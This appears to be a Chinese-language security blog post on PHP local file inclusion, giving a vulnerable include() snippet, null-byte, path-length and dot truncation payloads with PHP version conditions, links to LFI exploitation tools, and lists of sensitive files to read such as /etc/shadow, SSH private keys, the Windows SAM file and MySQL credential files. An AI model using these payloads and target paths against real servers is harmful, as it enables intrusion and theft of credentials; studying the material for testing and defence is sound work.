

## 0x01 漏洞案例

有限制的本地文件包含：

```
<?php
include($_GET['file']. ".php");
?>
```

%00截断：

?file=C://Windows//win.ini%00 (window, magic\_quotes\_gpc=off, 网络上盛传PHP小于5.3.4有效, 未完全进行测试, 亲测 PHP 5.2.17有效, PHP-5.3.29-nts无效)

?file=../../../../../../../../etc/passwd%00 (需要 magic\_quotes\_gpc=off, PHP小于5.3.4有效)

路径长度截断：

?file=../../../../../../../../etc/passwd/../../../../.[...]/../../../../.(php版本小于5.2.8(?)可以成功, linux需要文件名长于4096, windows需要长于256)

点号截断：

?file=../../../../../../../../boot.ini/.....[...].(php版本小于5.2.8(?)可以成功, 只适用windows, 点号需要长于256)

## 0x02 利用工具

文件包含漏洞利用工具

LFI Suite: <https://github.com/D35m0nd142/LFISuite>

LFI Scan & Exploit Tool: <https://github.com/P0cL4bs/Kadimus/>

## 0x03 常见包含路径

Windows：

```
C:\boot.ini //查看系统版本
C:\Windows\System32\inet_srv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysqluser.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
```

Linux：

```
/root/.ssh/authorized_keys
```

```
/root/.ssh/id_rsa  
/root/.ssh/id_rsa.keystore  
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥  
/etc/passwd  
/etc/shadow  
/etc/my.cnf //mysql配置文件  
/etc/httpd/conf/httpd.conf //apache配置文件  
/root/.bash_history //用户历史命令记录文件  
/root/.mysql_history //mysql历史命令记录文件  
/proc/mounts //记录系统挂载设备  
/proc/config.gz //内核配置文件  
/var/lib/mlocate/mlocate.db //全文件路径  
/proc/self/cmdline //当前进程的cmdline参数
```

---

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。

